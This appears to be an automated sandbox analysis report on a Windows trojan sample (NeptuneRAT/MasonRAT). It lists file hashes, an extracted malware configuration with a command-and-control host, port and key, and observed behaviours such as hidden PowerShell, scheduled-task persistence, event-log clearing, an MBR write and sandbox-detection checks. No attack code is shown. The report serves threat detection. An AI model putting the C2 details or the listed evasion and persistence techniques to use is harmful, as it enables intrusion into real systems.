Analysis
- user interaction
yes - max time kernel
150s - max time network
152s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
08/08/2026, 03:36
Behavioral task
behavioral1
Sample
Server.exe
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
Server.exe
Resource
win11ltsc2024-20260710-en
General
- Target Server.exe
- Size 248KB
- Sample260808-d565aaswdx
- SHA256 72faffb7f0ad058f27ed60bb2275f04ef0100b85783289b8f05de07a8e50beac
- MD5 9bafba8bfde3127b67cde15f83047b30
- SHA1 9ec4cae790256d77f102f5caedf43be93f4fb260
- SHA512 e4f39d5934d959d06a2f9ab844367a7e58fb31ab40d1d1586a4d9be53be4bfd5dd4964d3294b957827223550964cb87d38411d463e63b1e36aca97ac101a48a2
- SSDEEP 3072:gZ4cImeMb8sbOmwotLD8KbgVtn8Mo8G1gVziHzZbIK1YKB/pCAcNqXhwBV3yxSQd:fbMb9/5bTgVziHzZnSKrCbYMy6bT8Bq
- TLSH T16F4428A6F7A000F6D4BE41718D636B06B7B2F0370721D7EF1A9449993F637A04D29BA1
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
-
neptunerat
-
viperalza7fgg-40476.portmap.host:40476
-
filename
USB.exe
-
group
MasonGroup
-
key
9wrRyOC9NiWIvgni
-
rat_name
MasonRAT
Signatures
- Family: NeptuneRAT, MasonRAT
NeptuneRAT aka MasonRAT is a trojan written in C#.
- Detects NeptuneRAT stealer 2 IoCs
resource yara_rule behavioral1/memory/1864-0-0x000002EAC7AC0000-0x000002EAC7B04000-memory.dmp family_neptunerat behavioral1/memory/1864-300-0x000002EAC9910000-0x000002EAC9922000-memory.dmp family_neptunerat - Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 10 3828 powershell.exe 14 3828 powershell.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 3828 powershell.exe - Sets service image path in registry 3 TTPs 1 IoCs
This determines the executable launched when a service starts. It can be used to establish persistence.
description ioc Process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\DoSvc\ImagePath = "C:\\Windows\\System32\\svchost.exe -k NetworkService -p" WaaSMedicAgent.exe - Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion wmiprvse.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Control Panel\International\Geo\Nation Server.exe - Executes dropped EXE 1 IoCs
pid Process 4884 nlifdu3c.oxm.exe - Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs
Clear Windows Event Logs to hide the activity of an intrusion.
description ioc Process File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-WindowsUpdateClient%4Operational.evtx svchost.exe - Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
flow ioc 22 raw.githubusercontent.com 23 raw.githubusercontent.com - Enumerates connected drives 3 TTPs 23 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\E: svchost.exe File opened (read-only) \??\U: svchost.exe File opened (read-only) \??\W: svchost.exe File opened (read-only) \??\Z: svchost.exe File opened (read-only) \??\Q: svchost.exe File opened (read-only) \??\G: svchost.exe File opened (read-only) \??\K: svchost.exe File opened (read-only) \??\M: svchost.exe File opened (read-only) \??\O: svchost.exe File opened (read-only) \??\S: svchost.exe File opened (read-only) \??\A: svchost.exe File opened (read-only) \??\L: svchost.exe File opened (read-only) \??\P: svchost.exe File opened (read-only) \??\R: svchost.exe File opened (read-only) \??\T: svchost.exe File opened (read-only) \??\X: svchost.exe File opened (read-only) \??\H: svchost.exe File opened (read-only) \??\I: svchost.exe File opened (read-only) \??\J: svchost.exe File opened (read-only) \??\N: svchost.exe File opened (read-only) \??\V: svchost.exe File opened (read-only) \??\Y: svchost.exe File opened (read-only) \??\B: svchost.exe - Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
description ioc Process File opened for modification \??\PHYSICALDRIVE0 wmiprvse.exe - Drops file in System32 directory 19 IoCs
description ioc Process File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_EAF5D55D93603A879FA973006301F24F svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B76BE66D46C355931939D8CF818D03FD_30070D1E013A39CA7A94F919F7922FDF svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B76BE66D46C355931939D8CF818D03FD_68DC46933CF3DE41CC968E0784D43DC3 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B76BE66D46C355931939D8CF818D03FD_68DC46933CF3DE41CC968E0784D43DC3 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B76BE66D46C355931939D8CF818D03FD_39DF7432E6EF50CDA9C936E29E7DA30D svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B76BE66D46C355931939D8CF818D03FD_39DF7432E6EF50CDA9C936E29E7DA30D svchost.exe File opened for modification C:\Windows\System32\Tasks\MasonServer.exe svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B76BE66D46C355931939D8CF818D03FD_30070D1E013A39CA7A94F919F7922FDF svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml OfficeClickToRun.exe - Drops file in Windows directory 7 IoCs
description ioc Process File opened for modification C:\Windows\SoftwareDistribution\DataStore\DataStore.edb svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm svchost.exe File opened for modification C:\Windows\SoftwareDistribution\ReportingEvents.log svchost.exe File opened for modification C:\Windows\Logs\CBS\CBS.log TiWorker.exe File opened for modification C:\Windows\WindowsUpdate.log svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log svchost.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Checks SCSI registry key(s) 3 TTPs 24 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Service wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Service wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000\LogConf wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\FriendlyName wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\HardwareID svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Mfg wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000 wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Mfg wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000\LogConf wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\DeviceDesc wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000 svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\HardwareID wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\CompatibleIDs wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000 svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\CompatibleIDs svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 wmiprvse.exe - Checks processor information in registry 2 TTPs 8 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz svchost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 mousocoreworker.exe Key opened \Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0 svchost.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString mousocoreworker.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 mousocoreworker.exe - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier wmiprvse.exe - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-21-876885714-46325919-1482798410-1000\ValidDeviceId svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02ktevcktiuouvsy svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02ktevcktiuouvsy\Provision Saturday, August 08, 2026 03:36:48 = "AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAe8cqAHV9a0WieSLi/J7PcQAAAAACAAAAAAAQZgAAAAEAACAAAABduYOj7lWpct1nFnqTCYCTEPQtZzXCsCSepna5sA1hqAAAAAAOgAAAAAIAACAAAACilMNxo3WgFnjHbFwPQmWt6ryMvwiaYDJXNEBE/TS7QiAAAAB8XIfCN+T6uZbkbs4064PAlGtz8G0ZdZIvl3n4oAAA5UAAAADWtJ6GA7oN99cld18BbkLM5gDJP+9jy/zWhKyDBomhHtSBR6eS1cPJ8ffvBMPtfAXoxRUKxaHxel3TqwhHyOoe" svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust svchost.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 50,1329 10,944 15,943 6,1329 15,1329 100,1329 6,943 10,943 15,944 6,940 50,941 15,941 10,941 6,942 15,942 10,942 6,944 100,944 10,944 50,940 6,940 100,940 10,940 15" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust WaaSMedicAgent.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02txcnmgeotgroxk svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot WaaSMedicAgent.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02txcnmgeotgroxk\Provision Saturday, August 08, 2026 03:36:48 = "AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAe8cqAHV9a0WieSLi/J7PcQAAAAACAAAAAAAQZgAAAAEAACAAAACz/XjiDgvAhij/+YBVIT07k1iFrS5gIHrefIdVcEl8LAAAAAAOgAAAAAIAACAAAACZcUoclSvYaUL/8Hc4o5cMVhUAgY0a+MPSIvhIyHBK5yAAAAAPB+TA56GDvlc7HF4VcYiCGj5ujQ5BRH1sWKV6Bs4RCEAAAACEEYBe/TK+Io2r9QyQ2gA+mfc5agM+tRJe0a84BG91OwuAQCdLtc8MRgkmyR5Lx/xpfsoEoOqQ5t7EQs4bWB0O" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02jubgyvjdqycpnd svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02tckiekeqijlqmq svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02upxotjxpkmlsbq\Provision Saturday, August 08, 2026 03:37:02 = "AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAe8cqAHV9a0WieSLi/J7PcQAAAAACAAAAAAAQZgAAAAEAACAAAADfQ1/Qm80cFxdeHSkdt5Fw7bDTYymZMTzY3bQpiNc8uwAAAAAOgAAAAAIAACAAAAAt92Zr+5R7ZeyInCnThAYskO1U9M0xi5T8z9wJW+ZUdyAAAAA9mDFz02Cn9joaeAicz/YSrG8BETrKlbf0BkOOhzxi3EAAAAA/Dk08y4V9sIpbnGfX+3KWfHUsFCHKuzGXGzLEdvkwpCCIF4spLC1K95Of1Do+bFBb3SCxiM2GCSuApCBkfImK" svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02xoraqtnfkrevvt svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0 OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA WaaSMedicAgent.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02njttaimhdfyvos\Provision Saturday, August 08, 2026 03:36:59 = "AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAe8cqAHV9a0WieSLi/J7PcQAAAAACAAAAAAAQZgAAAAEAACAAAACY9+Kj9/xkGsyQlG5qAZgXDfgfcSJh88JFm7R9pgkqSwAAAAAOgAAAAAIAACAAAABV+Ixg0z50q7gnMo+AqySZXpqVsvSiXsx+7Nnhf4W1eSAAAACSnXB5GYu/MGFXxdl835iK1kQOu3qiYDmGNie/LoS8vUAAAACBMopAI+uzMcIZbPAhNPm0yLvznLqHqo5Pb5YMVIAmmEaCbb03JzkKpSpAzXFxTWn71IFubDI07wPbedQEUvX5" svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed svchost.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1786160291" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02njttaimhdfyvos svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02rcxquqiynicyji\Provision Saturday, August 08, 2026 03:36:40 = "AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAe8cqAHV9a0WieSLi/J7PcQAAAAACAAAAAAAQZgAAAAEAACAAAAAVJWpD9vR5g8FPH7wzsXHvmO8Z3yGbOIyUZ8z0nRBIrgAAAAAOgAAAAAIAACAAAAC/egd0VY2xlHVwGL5i5jz6KE3w6rwW9PK5OjSUNcRyuSAAAACVI9lYki7rYb617R2J8LZLk4WgidyYoGTULwUQL6eqCUAAAAAAS3VPTbPYYsry+Cc6RFt8CIb+6eL/7xBJ9HXADp7ne8OIiITGHRIxx4r4ER0GuPw65ai0Ud9QNOtTjzyUHPKx" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02lolhsjmifrhvbl\Provision Saturday, August 08, 2026 03:36:47 = "AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAe8cqAHV9a0WieSLi/J7PcQAAAAACAAAAAAAQZgAAAAEAACAAAACqQ3KIyOSqh3gqtXJUUUy1zn1uXEKeJrKkDbUrynwJSQAAAAAOgAAAAAIAACAAAABx4TFzStxIqo8L2RSYHQBlvyuVcl0Efc5Rzvvm1Kyo1SAAAADY139INl+0YWWzqgLpnEDJ80vlQmlNwjgBeQSg0CHzM0AAAACJvnVNSMfEVOAo31tkKiT+0bfPg7kB2klGsjA6cUgiEDN3SDxljrAi7sbBThnv/kq3hv5jlzFDGa1gS7gompZD" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02upxotjxpkmlsbq svchost.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates WaaSMedicAgent.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3020 SCHTASKS.exe 824 SCHTASKS.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4884 nlifdu3c.oxm.exe 4884 nlifdu3c.oxm.exe 4884 nlifdu3c.oxm.exe 4884 nlifdu3c.oxm.exe 4884 nlifdu3c.oxm.exe 4884 nlifdu3c.oxm.exe 4884 nlifdu3c.oxm.exe 4884 nlifdu3c.oxm.exe 4884 nlifdu3c.oxm.exe 4884 nlifdu3c.oxm.exe 4884 nlifdu3c.oxm.exe 4884 nlifdu3c.oxm.exe 4884 nlifdu3c.oxm.exe 4884 nlifdu3c.oxm.exe 4884 nlifdu3c.oxm.exe 4884 nlifdu3c.oxm.exe 4884 nlifdu3c.oxm.exe 4884 nlifdu3c.oxm.exe 4884 nlifdu3c.oxm.exe 4884 nlifdu3c.oxm.exe 4884 nlifdu3c.oxm.exe 4884 nlifdu3c.oxm.exe 4884 nlifdu3c.oxm.exe 4884 nlifdu3c.oxm.exe 4884 nlifdu3c.oxm.exe 4884 nlifdu3c.oxm.exe 3828 powershell.exe 4884 nlifdu3c.oxm.exe 4884 nlifdu3c.oxm.exe 4884 nlifdu3c.oxm.exe 3828 powershell.exe 4884 nlifdu3c.oxm.exe 4884 nlifdu3c.oxm.exe 4884 nlifdu3c.oxm.exe 4884 nlifdu3c.oxm.exe 4884 nlifdu3c.oxm.exe 4884 nlifdu3c.oxm.exe 4884 nlifdu3c.oxm.exe 4884 nlifdu3c.oxm.exe 3828 powershell.exe 4884 nlifdu3c.oxm.exe 4884 nlifdu3c.oxm.exe 4884 nlifdu3c.oxm.exe 4884 nlifdu3c.oxm.exe 4884 nlifdu3c.oxm.exe 4884 nlifdu3c.oxm.exe 4884 nlifdu3c.oxm.exe 4884 nlifdu3c.oxm.exe 3828 powershell.exe 4884 nlifdu3c.oxm.exe 4884 nlifdu3c.oxm.exe 4884 nlifdu3c.oxm.exe 4884 nlifdu3c.oxm.exe 4884 nlifdu3c.oxm.exe 4884 nlifdu3c.oxm.exe 4884 nlifdu3c.oxm.exe 4884 nlifdu3c.oxm.exe 4884 nlifdu3c.oxm.exe 4884 nlifdu3c.oxm.exe 3828 powershell.exe 4884 nlifdu3c.oxm.exe 4884 nlifdu3c.oxm.exe 4884 nlifdu3c.oxm.exe 4884 nlifdu3c.oxm.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
